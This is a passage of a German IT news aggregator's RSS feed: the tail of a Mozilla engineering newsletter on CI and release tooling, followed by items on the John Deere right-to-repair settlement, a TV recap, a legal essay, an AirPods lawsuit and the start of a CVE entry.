<p>Andrew Halberstadt <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2044330">implemented</a> mach try support with Github, being used in mozilla/enterprise-firefox-try and coming to Firefox soon.</p>
</li>
<li>
<p>Andrew Halberstadt <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033838">implemented the machinery</a> to start making Gecko CI tasks clone from Github.</p>
</li>
<li>
<p>Ryan Curran <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037084">brought Firefox CI’s Apple Silicon VM infrastructure into production</a>. Building on the MacOS CI image pipeline established last year, he migrated test suites onto virtual machines and grew the macosx1500-aarch64-vms pool so Taskcluster now routes eligible jobs to VMs alongside physical hardware. This reduces reliance on physical Macs, increases CI capacity, and supports the ongoing migration off of older Intel-based macOS infrastructure</p>
</li>
<li>
<p>Jonathan Moss migrated Firefox CI’s cloud-based Windows testing from Windows 11 24H2 to 25H2, moving the bulk of Firefox’s Windows test coverage to Microsoft’s latest platform and keeping CI aligned with the Windows version most commonly used by Firefox Desktop users</p>
</li>
<li>
<p>Florian Quèze <a href="https://tests.firefox.dev/" rel="noopener nofollow ugc">created many dashboards</a> to help dig into Mochitests and XPCShell tests</p>
</li>
<li>
<p>Ryan VanderMeulen landed a set of improvements to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032657">mach try chooser</a>. The update adds an exclude filter, a clearer preview pane with removable job rows, an artifact-builds toggle, and a warning when a selection exceeds task-prioritization thresholds. It also fixes a bug where choosing Firefox for Android jobs would unintentionally clear selections for other platforms.</p>
</li>
</ul>
<h4><a class="anchor" href="https://discourse.mozilla.org/#p-295620-lint-static-analysis-and-code-coverage-image27x27uploadkn3nhhyhkaolavr6gxkheo6anzipng-7" name="p-295620-lint-static-analysis-and-code-coverage-image27x27uploadkn3nhhyhkaolavr6gxkheo6anzipng-7"></a>Lint, Static Analysis and Code Coverage <div class="lightbox-wrapper"><a class="lightbox" href="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/9/1/91b73ae1a5bbfd19ca329cc65f4d62b37af7e5aa.png" rel="noopener nofollow ugc" title="image"><img alt="image" height="27" src="https://us1.discourse-cdn.com/flex001/uploads/mozilla/optimized/3X/9/1/91b73ae1a5bbfd19ca329cc65f4d62b37af7e5aa_2_27x27.png" width="27"></a></div></h4>
<ul>
<li>
<p>Valentin Rigal and Bastien Abadie created a Code Review Bot prototype for publication of review comments using various source linters on Github</p>
</li>
<li>
<p>Morgan Rae Reschenberg added support for accessibility review to Code Review Bot</p>
</li>
</ul>
<h4><a class="anchor" href="https://discourse.mozilla.org/#p-295620-mozregression-image39x39uploadylbryrsvu4qhpj3mc4hc711j7vtpng-8" name="p-295620-mozregression-image39x39uploadylbryrsvu4qhpj3mc4hc711j7vtpng-8"></a>Mozregression <div class="lightbox-wrapper"><a class="lightbox" href="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/f/0/f0af28d9caa6771eea75f11a03fc36a70c4f99d3.png" rel="noopener nofollow ugc" title="image"><img alt="image" height="39" src="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/f/0/f0af28d9caa6771eea75f11a03fc36a70c4f99d3.png" width="39"></a></div></h4>
<ul>
<li>Zeid fixed a bug in mozregression-gui on macOS, where the camera and microphone capture request was getting rejected (released in 7.3.0). Thanks to bug report + tip from Andreas Pehrson.</li>
</ul>
<h4><a class="anchor" href="https://discourse.mozilla.org/#p-295620-pdfjs-image29x29upload2uk22g71cqevreav3jhzijhygjypng-9" name="p-295620-pdfjs-image29x29upload2uk22g71cqevreav3jhzijhygjypng-9"></a>PDF.js <div class="lightbox-wrapper"><a class="lightbox" href="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/1/4/14623e0fefd12c91cad11a97baf9fca17c37df1c.png" rel="noopener nofollow ugc" title="image"><img alt="image" height="29" src="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/1/4/14623e0fefd12c91cad11a97baf9fca17c37df1c.png" width="29"></a></div></h4>
<ul>
<li>
<p>Calixte <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034982">added about:pdf to use an entrypoint</a> for opening and editing arbitrary PDF files[image]</p>
</li>
<li>
<p>Calixte added support for playing videos/sounds embedded in PDF files</p>
</li>
</ul>
<h4><a class="anchor" href="https://discourse.mozilla.org/#p-295620-phabricator-image24x24upload2ptgi5cxdz7gakmm6kmos0gcoebpng-moz-phab-and-lando-image31x31uploadgmikcks6na3yujyuukfnivfqrmwpng-10" name="p-295620-phabricator-image24x24upload2ptgi5cxdz7gakmm6kmos0gcoebpng-moz-phab-and-lando-image31x31uploadgmikcks6na3yujyuukfnivfqrmwpng-10"></a>Phabricator <img alt="image" height="24" src="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/1/3/13d60ed2ffbfe1aa32c2cc2ccc5121ba3b8c5a87.png" width="24">, moz-phab, and Lando <div class="lightbox-wrapper"><a class="lightbox" href="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/7/5/75a4b58f20908eed139910e672355b6e4ac88562.png" rel="noopener nofollow ugc" title="image"><img alt="image" height="31" src="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/7/5/75a4b58f20908eed139910e672355b6e4ac88562.png" width="31"></a></div></h4>
<ul>
<li>
<p>Connor Sheehan improved the uplift experience by leveraging Lando to manage the assessment forms, train selection, and automatic application, so conflicts are detected earlier. The number of uplifts via Lando has <a href="https://sql.telemetry.mozilla.org/dashboard/uplift-dashboard?p_date_range=d_last_12_months">out-paced</a> those via Moz-Phab, and sailed through the rise in uplift numbers (likely due to more sec-bugs getting fixed and uplifted).</p>
</li>
<li>
<p>Zeid added support for private GitHub repositories in Lando, allowing security patches to be implemented in a private clone of a repo, and pushed to the public one.</p>
</li>
<li>
<p>Olivier Mehani finalized support for using the new Lando instance for try-pushes. This brings a host of QoL improvements which weren’t backported to the old instance: better UTF-8 support, smarter conflict resolution and improved security and authentication. It is <a href="https://sql.telemetry.mozilla.org/dashboard/new-lando-try-dashboard?p_date_range=d_last_7_days&amp;p_repo_name=try">now processing about 1500 pushes / week</a> (old Lando still processes about 50 / week).</p>
</li>
<li>
<p>Magnolia Liu implemented automatic pushes to Try for uplift requests, for faster feedback in case of issues.</p>
</li>
<li>
<p>Olivier Mehani added a view of a user’s current and recent jobs on <a href="https://lando.moz.tools/" rel="noopener nofollow ugc">the landing page of Lando</a> when authenticated.</p>
</li>
<li>
<p>Zeid identified and fixed the causes of some stability and reliability issues in Lando, which were causing increased downtime during deployments and on an ongoing basis.</p>
</li>
<li>
<p>Olivier Mehani deployed a PoC of reviewer selection on the GitHub pilot, allowing Herald-like mechanisms to GitHub PRs.</p>
</li>
<li>
<p>Olivier Mehani and Connor Sheehan (with Corey Bryant and Daniel Darnell) migrated the COMM project to GitHub <a href="http://github.com/thunderbird/thunderbird-desktop" rel="noopener nofollow ugc">https://github.com/thunderbird/thunderbird-desktop</a>, sharing Firefox’s syncing model.</p>
</li>
</ul>
<h4><a class="anchor" href="https://discourse.mozilla.org/#p-295620-release-management-and-engineering-image29x29uploadgyvgvdmglodpm14lqcrvtdappfzpng-11" name="p-295620-release-management-and-engineering-image29x29uploadgyvgvdmglodpm14lqcrvtdappfzpng-11"></a>Release Management and Engineering <div class="lightbox-wrapper"><a class="lightbox" href="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/7/6/76f9deb903b684961e54fa3afbdabcc30db09731.png" rel="noopener nofollow ugc" title="image"><img alt="image" height="29" src="https://us1.discourse-cdn.com/flex001/uploads/mozilla/optimized/3X/7/6/76f9deb903b684961e54fa3afbdabcc30db09731_2_29x29.png" width="29"></a></div></h4>
<ul>
<li>
<p>Donal Meehan drove the Release Management team’s move to a weekly scheduled dot release cadence for Desktop and Android, starting with Firefox 151. This allows us to deliver fixes and approved uplifts to users faster and more predictably. This change is expected to reduce unplanned releases, improve release flexibility, and create a more consistent release rhythm across teams.</p>
</li>
<li>
<p>Dianna Smith drove the update to the Release Management team’s <a href="https://docs.google.com/document/d/1oktCbzZ3M7NZTMBxv8yEOYmNHHxaIstZ55vRMI9PmzM/edit?tab=t.0#heading=h.r7335u1pggl8" rel="noopener nofollow ugc">Desktop major release rollout process</a>, starting with Firefox 152. Instead of throttling to 0% on day 2, it will remain at 25% rollout for two days before moving to 100%, unless any issues arise. This should help us collect uptake and stability signals earlier while still allowing time to catch problems before full rollout.</p>
</li>
<li>
<p>Pascal Chevrel completed the update to the dictionaries shipped with Firefox Desktop. The update added eleven new dictionaries, covering Croatian, English (UK), Georgian, Persian, Slovenian, Tajik, Tamil, Tibetan, Turkish, Welsh, and Xhosa, and refreshed nine others. This expanded the number of locales with a built-in spellchecker from 30 to 41 beginning in Firefox 152. Special thanks to Francesco Lodolo, Bryan Olsson, and the localization community for reviewing the patches and helping assess the quality of the dictionaries.</p>
</li>
<li>
<p>Pascal Chevrel delivered a range of improvements to <a href="https://whattrainisitnow.com/" rel="noopener nofollow ugc">WhatTrainIsItNow</a>, including expanded it to cover weekly dot releases and ESR planned dot releases, added new uplift views including a <a href="https://whattrainisitnow.com/release/uplifts/" rel="noopener nofollow ugc">dot-release uplifts page</a> and a <a href="https://whattrainisitnow.com/beta/uplifts/graph/" rel="noopener nofollow ugc">beta uplift graph</a>, and published <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2045812">new APIs</a> that surface train-selection and <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2044143">uplift guidance inside Lando</a>. He also made performance improvements and a steady stream of fixes across the site.</p>
</li>
<li>
<p>At Pwn2Own 2026, Firefox came through with no successful exploits, thanks to preparation across many teams and individuals. Within Release Management, Ryan VanderMeulen drove pre-event patch readiness and Dianna Smith coordinated the releases during the event, including the 150.0.3 dot release, which mitigated the root cause behind several of the contest entries.</p>
</li>
<li>
<p>Dianna Smith built out release-health monitoring and alerting in Bigeye, giving Release Management a growing set of automated alerts that surface data anomalies earlier to aid in release health and regression detection. To make the capability easy to extend, she also <a href="https://docs.google.com/document/d/11WAYaMt2RQOAZLjYti3VZY6Bcws1fjF5q8hBlYUKgHo/edit?tab=t.0" rel="noopener nofollow ugc">created a guide for other teams</a> to add monitoring and alerts for the areas they know best. Teams that want an earlier signal on their own metrics are encouraged to use the guide and help grow the coverage.</p>
</li>
</ul>
<h4><a class="anchor" href="https://discourse.mozilla.org/#p-295620-release-operations-12" name="p-295620-release-operations-12"></a>Release Operations <img alt=":wrench:" class="emoji" height="20" src="https://emoji.discourse-cdn.com/twitter/wrench.png?v=15" title=":wrench:" width="20"></h4>
<ul>
<li>
<p>Ryan Curran built <a href="https://github.com/mozilla-platform-ops/hangar" rel="noopener nofollow ugc">Hangar</a>, a live dashboard for monitoring Firefox CI’s worker pools. It consolidates fleet data from several systems into one view, giving Release Operations a single place to check fleet health and catch problems such as missing or quarantined workers early.</p>
</li>
<li>
<p>Ryan Curran created the <a href="https://github.com/mozilla-platform-ops/BuildWatch" rel="noopener nofollow ugc">iOS version of BuildWatch</a>, and Andrew Erickson ported it to <a href="https://github.com/mozilla-platform-ops/BuildWatch-Android" rel="noopener nofollow ugc">Android</a>. BuildWatch lets you monitor Firefox CI try pushes from your phone, including live per-platform build status, failure summaries, and one-tap retriggers. It uses only public APIs, so no VPN is required.</p>
</li>
<li>
<p>Andrew Erickson and Mark Cornmesser developed <a href="https://github.com/mozilla-platform-ops/fleetbench" rel="noopener nofollow ugc">Fleetbench</a>, a tool for benchmarking Firefox CI workers. It currently measures CPU and ADB/USB I/O performance, helping Release Operations identify slow or outlier hosts before they skew performance test results such as Speedometer and trigger noisy or false regressions.</p>
</li>
<li>
<p>Andrew Erickson built <a href="https://pool-classifier.relops.mozilla.com/" rel="noopener nofollow ugc">Pool Classifier</a>, a web app for viewing per-worker success rates across Taskcluster worker pools. It classifies newly completed tasks every 15 minutes, giving Release Operations a continuously updated view of worker health and helping surface problematic workers proactively.</p>
</li>
<li>
<p>Andrew Erickson created <a href="https://github.com/mozilla-platform-ops/fleetroll_mvp" rel="noopener nofollow ugc">Fleetroll</a>, a command-line tool Release Operations uses to manage and monitor long-running Linux, macOS, and Windows hardware hosts in Firefox CI Taskcluster. It deploys Puppet branch overrides and Vault secrets, audits what is actually applied, and surfaces each host’s Puppet and Taskcluster state in a live dashboard.</p>
</li>
<li>
<p>Mark Cornmesser built out a set of new worker-metrics dashboards in Yardstick, giving Release Operations clearer real-time visibility into the health of the Firefox CI hardware fleet. These include <a href="https://yardstick.mozilla.org/d/linux-all-status-v1/linux-all-status?orgId=1&amp;from=now-6h&amp;to=now&amp;timezone=browser&amp;var-pool=%24__all&amp;var-hostname=%24__all">Linux worker</a> status, <a href="https://yardstick.mozilla.org/d/windows-all-metrics-v1/windows-all-metrics?orgId=1&amp;from=now-6h&amp;to=now&amp;timezone=browser&amp;var-pool=%24__all&amp;var-hostname=%24__all">Windows worker CPU and disk</a> metrics, and a <a href="https://yardstick.mozilla.org/d/windows-pickup-wait-timeline-v1/066c1e0?orgId=1&amp;from=now-24h&amp;to=now&amp;timezone=browser&amp;var-pool=%24__all">Windows job pickup and wait</a> timeline, with alerting on key thresholds. The full set lives in the <a href="https://yardstick.mozilla.org/dashboards/f/cffmfl1sfr1moe/fxci-hardware-workers">FXCI Hardware Workers folder</a> in Yardstick.</p>
</li>
<li>
<p>Jonathan Moss expanded cloud cost reporting in Looker, adding <a href="https://mozilla.cloud.looker.com/dashboards/2861?Submission%20Date=30%20day&amp;Cloud%20Provider=" rel="noopener nofollow ugc">Azure support</a> alongside the existing GCP data and a cloud-provider filter on the FXCI task overview dashboard. The team can now break down Firefox CI compute costs by cloud provider, making it easier to track and compare spend across Azure and GCP.</p>
</li>
</ul>
<h4><a class="anchor" href="https://discourse.mozilla.org/#p-295620-taskcluster-image20x25uploado7keh2uqbjtt24xnmh0gz4v0lympng-13" name="p-295620-taskcluster-image20x25uploado7keh2uqbjtt24xnmh0gz4v0lympng-13"></a>Taskcluster <img alt="image" height="25" src="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/a/9/a9086272fd26499516b5a852c89ed3f55df11142.png" width="20"></h4>
<ul>
<li>
<p>Yaraslau Kurmyza added Azure fast deprovision <a href="https://github.com/taskcluster/taskcluster/pull/8790" rel="noopener nofollow ugc">taskcluster#8790</a>  and concurrency <a href="https://github.com/taskcluster/taskcluster/issues/8815" rel="noopener nofollow ugc">taskcluster#8815</a> to improve worker scanner performance. This shows ~2x-4x scan time improvements already.</p>
</li>
<li>
<p>Contributor <a href="https://github.com/nitishagar" rel="noopener nofollow ugc">nitishagar</a>  and Yaraslau Kurmyza added patches <a href="https://github.com/taskcluster/taskcluster/pull/8514" rel="noopener nofollow ugc">taskcluster#8514</a>,  <a href="https://github.com/taskcluster/taskcluster/pull/8784" rel="noopener nofollow ugc">taskcluster#8784</a>  to support compression in Taskcluster services API and Yarik worked with Fastly to resolve broken brotli support on the WAF edge side. Now services transmit significantly less data.</p>
</li>
<li>
<p>Yarik added a dedicated service account to log with read only permissions <a href="https://github.com/mozilla/webservices-infra/pull/11197" rel="noopener nofollow ugc">webservices-infra#11197</a>. This allows <a href="https://github.com/taskcluster/tc-logview/pull/4" rel="noopener nofollow ugc">tc-logview</a> to be used safely by untrusted agents inside containers with narrow short-lived access tokens.</p>
</li>
<li>
<p>Yarik published <a href="http://35.202.240.190/" rel="noopener nofollow ugc">queue forecasting dashboard</a> experiments that continuously collects task events and trains models to enable and improve predictions on a task level (how long will it run, and when will it start). With future plans including extending it to the whole task group (mach try)</p>
</li>
</ul>
<h4><a class="anchor" href="https://discourse.mozilla.org/#p-295620-treeherder-image32x32upload9mg2vslsdl1se97nhycpirqkvuvpng-14" name="p-295620-treeherder-image32x32upload9mg2vslsdl1se97nhycpirqkvuvpng-14"></a>Treeherder <img alt="image" height="32" src="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/4/4/449439d59f33f7cc62df6501dd75c5f88d6f5fe5.png" width="32"></h4>
<ul>
<li>
<p>Florian Quèze added <a href="https://github.com/mozilla/treeherder/pull/9540" rel="noopener nofollow ugc">treeherder#9540</a> “Show task group profile” item to the push action menu</p>
</li>
<li>
<p>Cameron Dawson, juungo and moijes12 implemented various Treeherder API performance improvements</p>
</li>
<li>
<p>Heitor Neiva added Git branch labels to pushes in Treeherder</p>
</li>
<li>
<p>Andrew Halberstadt <a href="https://github.com/mozilla/treeherder/pull/9496" rel="noopener nofollow ugc">implemented</a> the ability for Treeherder to display multiple Git branches at once, enabling support for “try like” repositories in Github</p>
</li>
</ul>
<h4><a class="anchor" href="https://discourse.mozilla.org/#p-295620-version-control-image35x35uploadfgrydspdrdwuflvmedhcxxzrhwtpng-15" name="p-295620-version-control-image35x35uploadfgrydspdrdwuflvmedhcxxzrhwtpng-15"></a>Version Control <div class="lightbox-wrapper"><a class="lightbox" href="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/6/d/6ded138b62af5c8222b8f5fab637590ba2920993.png" rel="noopener nofollow ugc" title="image"><img alt="image" height="35" src="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/6/d/6ded138b62af5c8222b8f5fab637590ba2920993.png" width="35"></a></div></h4>
<ul>
<li>
<p>Upgrade <a href="http://hg.mozilla.org/">hg.mozilla.org</a> to Mercurial 7.2.2</p>
</li>
<li>
<p>Created the <a href="https://hg-edge.mozilla.org/releases/mozilla-esr153">mozilla-esr153</a> and <a href="https://hg-edge.mozilla.org/releases/comm-esr153">comm-esr153</a> repositories.</p>
</li>
</ul>
<h4><a class="anchor" href="https://discourse.mozilla.org/#p-295620-other-image30x30upload1b45rv2lz4qu5bjwdcrkbeihtshpng-16" name="p-295620-other-image30x30upload1b45rv2lz4qu5bjwdcrkbeihtshpng-16"></a>Other <div class="lightbox-wrapper"><a class="lightbox" href="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/0/8/08426801fd78ca4953d83a1589119ec724b9c801.png" rel="noopener nofollow ugc" title="image"><img alt="image" height="30" src="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/0/8/08426801fd78ca4953d83a1589119ec724b9c801.png" width="30"></a></div></h4>
<ul>
<li>Sylvestre converted our documentation from reStructuredText to MyST flavored Markdown</li>
</ul>
<p>Thanks for reading and see you next quarter!</p>
            <p><small>1 post - 1 participant</small></p>
            <p><a href="https://discourse.mozilla.org/t/engineering-effectiveness-newsletter-q2-2026-edition/148883">Read full topic</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[John Deere Agrees To 10-Year Right-To-Repair Deal In FTC Antitrust Lawsuit]]></title>
<description><![CDATA[John Deere has agreed to a 10-year FTC-supervised right-to-repair settlement requiring it to provide farmers and independent repair shops with the same repair resources available to authorized dealers. The deal resolves antitrust claims from the FTC and five states alleging Deere monopolized equi...]]></description>
<link>https://tsecurity.de/de/3655539/it-security-nachrichten/john-deere-agrees-to-10-year-right-to-repair-deal-in-ftc-antitrust-lawsuit/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3655539/it-security-nachrichten/john-deere-agrees-to-10-year-right-to-repair-deal-in-ftc-antitrust-lawsuit/</guid>
<pubDate>Thu, 09 Jul 2026 00:23:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[John Deere has agreed to a 10-year FTC-supervised right-to-repair settlement requiring it to provide farmers and independent repair shops with the same repair resources available to authorized dealers. The deal resolves antitrust claims from the FTC and five states alleging Deere monopolized equipment repair services, contributing to higher costs and delays for farmers. Wired reports: The full statement (PDF) lays out obligations for John Deere's repair services, requiring the company to give farmers and third-party repair shops access to the same equipment and repair resources it provides to official John Deere dealers. This includes software capabilities, such as reading and resetting codes and pairing with other software, which customers have long had limited access to, creating delays when diagnosing equipment problems. Delayed fixes can mean delayed harvests, which many farmers saw as a fundamental threat to their livelihoods.
 
Under the agreement, John Deere will be required to provide this level of access, equipment, and services for the next 10 years, monitored by the FTC. [...] John Deere has maintained that it already has robust repair resources for its customers, including service manuals and diagnostic equipment. In John Deere's press release, the company says the settlement is in line with what it has been doing all along, saying that "the agreement reinforces Deere's continued innovation toward more flexible repair options, emphasizing increased access and transparency for customers. It formalizes Deere's ongoing commitment to expanding access to diagnostic and repair tools."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=John+Deere+Agrees+To+10-Year+Right-To-Repair+Deal+In+FTC+Antitrust+Lawsuit%3A+https%3A%2F%2Fyro.slashdot.org%2Fstory%2F26%2F07%2F08%2F2049231%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fyro.slashdot.org%2Fstory%2F26%2F07%2F08%2F2049231%2Fjohn-deere-agrees-to-10-year-right-to-repair-deal-in-ftc-antitrust-lawsuit%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://yro.slashdot.org/story/26/07/08/2049231/john-deere-agrees-to-10-year-right-to-repair-deal-in-ftc-antitrust-lawsuit?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The FTC Settlement With John Deere Is a Huge Win for the Right-to-Repair Movement]]></title>
<description><![CDATA[After more than a decade of pushback, farmers and repair advocates have won access to equipment and services John Deere had long kept under its control.]]></description>
<link>https://tsecurity.de/de/3655412/it-nachrichten/the-ftc-settlement-with-john-deere-is-a-huge-win-for-the-right-to-repair-movement/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3655412/it-nachrichten/the-ftc-settlement-with-john-deere-is-a-huge-win-for-the-right-to-repair-movement/</guid>
<pubDate>Wed, 08 Jul 2026 22:31:16 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[After more than a decade of pushback, farmers and repair advocates have won access to equipment and services John Deere had long kept under its control.]]></content:encoded>
</item>
<item>
<title><![CDATA[FTC reaches settlement that brings right-to-repair to John Deere farm equipment]]></title>
<description><![CDATA[The FTC sued the famed green tractor company last year.]]></description>
<link>https://tsecurity.de/de/3655389/it-nachrichten/ftc-reaches-settlement-that-brings-right-to-repair-to-john-deere-farm-equipment/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3655389/it-nachrichten/ftc-reaches-settlement-that-brings-right-to-repair-to-john-deere-farm-equipment/</guid>
<pubDate>Wed, 08 Jul 2026 22:17:19 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The FTC sued the famed green tractor company last year.]]></content:encoded>
</item>
<item>
<title><![CDATA[Trying Season 5 Episode 1 Recap and Ending Explained]]></title>
<description><![CDATA[Trying Season 5 Episode 1 brings Kat back into Nikki and Jason’s life at the worst possible time, turning their family routine into a tense emotional mess.



Trying Season 5 Episode 1 Details



DetailInformationEpisode titleRollercoasterRelease dateJuly 8, 2026PlatformApple TVGenreComedy, Drama...]]></description>
<link>https://tsecurity.de/de/3654686/ios-mac-os/trying-season-5-episode-1-recap-and-ending-explained/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3654686/ios-mac-os/trying-season-5-episode-1-recap-and-ending-explained/</guid>
<pubDate>Wed, 08 Jul 2026 16:53:11 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Trying Season 5 Episode 1 brings Kat back into Nikki and Jason’s life at the worst possible time, turning their family routine into a tense emotional mess.



Trying Season 5 Episode 1 Details



DetailInformationEpisode titleRollercoasterRelease dateJuly 8, 2026PlatformApple TVGenreComedy, DramaMain castEsther Smith, Rafe Spall, Scarlett Rayner, Cooper Turner, Charlotte RileySeason format8 episodes, weekly releaseFinale dateAugust 26, 2026



Spoilers Ahead: What Happens In Trying Season 5 Episode 1?



The episode continues after Nikki’s lie about Kat comes out. Princess already knows Nikki met her biological mother, and Kat’s sudden arrival makes everything more painful. Nikki tries to hold the family together, but her fear shows clearly.



Kat’s return changes the mood inside the house. Princess is curious, hurt, and confused, while Nikki feels like she is losing control of the life she built with Jason. Jason tries to stay calm, but even he understands that Kat is no longer just a name from the past.



Kat’s Return Shakes Nikki And Jason’s Family



Kat’s arrival is the main conflict of the premiere. She is Princess and Tyler’s biological mother, so her presence carries emotional weight. For Nikki, this is not only about an old lie. It is about the fear that Princess and Tyler may see Kat as someone they need more.



The episode does not turn Kat into a simple villain. Her return creates discomfort because the family has already moved forward. Nikki and Jason have worked hard to give Princess and Tyler a stable home, but Kat brings back questions they cannot avoid.



Ending Explained: Why Princess Is So Affected



By the ending, Princess feels pulled between anger and curiosity. She knows Nikki lied, but she also wants answers about Kat. This makes the ending important because Princess is no longer just reacting to Nikki’s choices. She is starting to make sense of her own identity.



Nikki’s panic also tells us where the season is heading. She wants to protect the family, but hiding the truth has already damaged trust. Now she has to face Kat’s role in the children’s lives instead of controlling it from a distance.



What It Means For Season 5



Trying Season 5 Episode 1 sets up a more emotional season for Nikki, Jason, Princess, and Tyler. Kat’s return will test their family bond, and Nikki’s relationship with Princess needs repair.



The premiere keeps the show’s warm tone, but it also adds real tension. Kat is here now, and her presence will keep changing the family dynamic in the coming episodes.



What do you plan to watch next on Apple TV? Let us know in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[Breaking the Cycle: Transitional Justice in America After Trump]]></title>
<description><![CDATA[A post-Trump America must finally turn transitional justice tools inward and reckon with failures it has long refused to face if it aims to repair, not simply ignore.
The post Breaking the Cycle: Transitional Justice in America After Trump appeared first on Just Security.]]></description>
<link>https://tsecurity.de/de/3654443/it-security-nachrichten/breaking-the-cycletransitional-justice-inamericaaftertrump/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3654443/it-security-nachrichten/breaking-the-cycletransitional-justice-inamericaaftertrump/</guid>
<pubDate>Wed, 08 Jul 2026 15:23:55 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A post-Trump America must finally turn transitional justice tools inward and reckon with failures it has long refused to face if it aims to repair, not simply ignore.</p>
<p>The post <a href="https://www.justsecurity.org/143447/transitional-justice-after-trump/">Breaking the Cycle: Transitional Justice in America After Trump</a> appeared first on <a href="https://www.justsecurity.org/">Just Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[No sweat: Most claims stricken in AirPods Max condensation lawsuit]]></title>
<description><![CDATA[An attempted class action lawsuit alleging that sweat condensation is killing AirPods Max prematurely has seen most of its claims thrown out by a judge.An AirPods Max earcup. Condensation not included. The AirPods Max have been the subject of complaints about condensation buildup, even if that ha...]]></description>
<link>https://tsecurity.de/de/3651887/ios-mac-os/no-sweat-most-claims-stricken-in-airpods-max-condensation-lawsuit/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3651887/ios-mac-os/no-sweat-most-claims-stricken-in-airpods-max-condensation-lawsuit/</guid>
<pubDate>Tue, 07 Jul 2026 16:40:18 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[An attempted class action lawsuit alleging that sweat condensation is killing <a href="https://appleinsider.com/inside/airpods-max" title="AirPods Max" data-kpt="1">AirPods Max</a> prematurely has seen most of its claims thrown out by a judge.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68180-143720-39218-90725-Left-ear-cup-xl-xl.jpg" alt="Hand holding a soft blue over ear headphone cushion close to the camera, showing padded oval shape and textured inner mesh fabric, with the rest of the headphones slightly blurred in background" height="720"><br><span>An AirPods Max earcup. Condensation not included. </span></div><br>The AirPods Max have been the subject of complaints about <a href="https://appleinsider.com/articles/23/08/23/repair-experts-weigh-in-on-airpods-max-condensation-complaints">condensation buildup</a>, even if that hasn't really translated into significant repairs. That hasn't stopped one lawsuit from taking Apple on, though a judge has seemingly taken the bite out of the legal challenge.<br><br>Stemming from a 2025 lawsuit, the filing <a href="https://www.law360.com/articles/2497498">posted by</a> <em>Law360</em> from the U.S. District Court for the Eastern District of New York has Judge Orelia E. Merchant throw out most of the claims. All over whether AirPods Max has a condensation problem.<br><br><br> <a href="https://appleinsider.com/articles/26/07/07/no-sweat-most-claims-stricken-in-airpods-max-condensation-lawsuit?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/244891?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2022-36271 | Outbyte PC Repair Installation File 1.7.112.7856 iertutil.dll uncontrolled search path]]></title>
<description><![CDATA[A vulnerability identified as critical has been detected in Outbyte PC Repair Installation File 1.7.112.7856. The affected element is an unknown function in the library iertutil.dll. The manipulation leads to uncontrolled search path.

This vulnerability is traded as CVE-2022-36271. It is possibl...]]></description>
<link>https://tsecurity.de/de/3651126/sicherheitsluecken/cve-2022-36271-outbyte-pc-repair-installation-file-171127856-iertutildll-uncontrolled-search-path/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3651126/sicherheitsluecken/cve-2022-36271-outbyte-pc-repair-installation-file-171127856-iertutildll-uncontrolled-search-path/</guid>
<pubDate>Tue, 07 Jul 2026 12:09:49 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
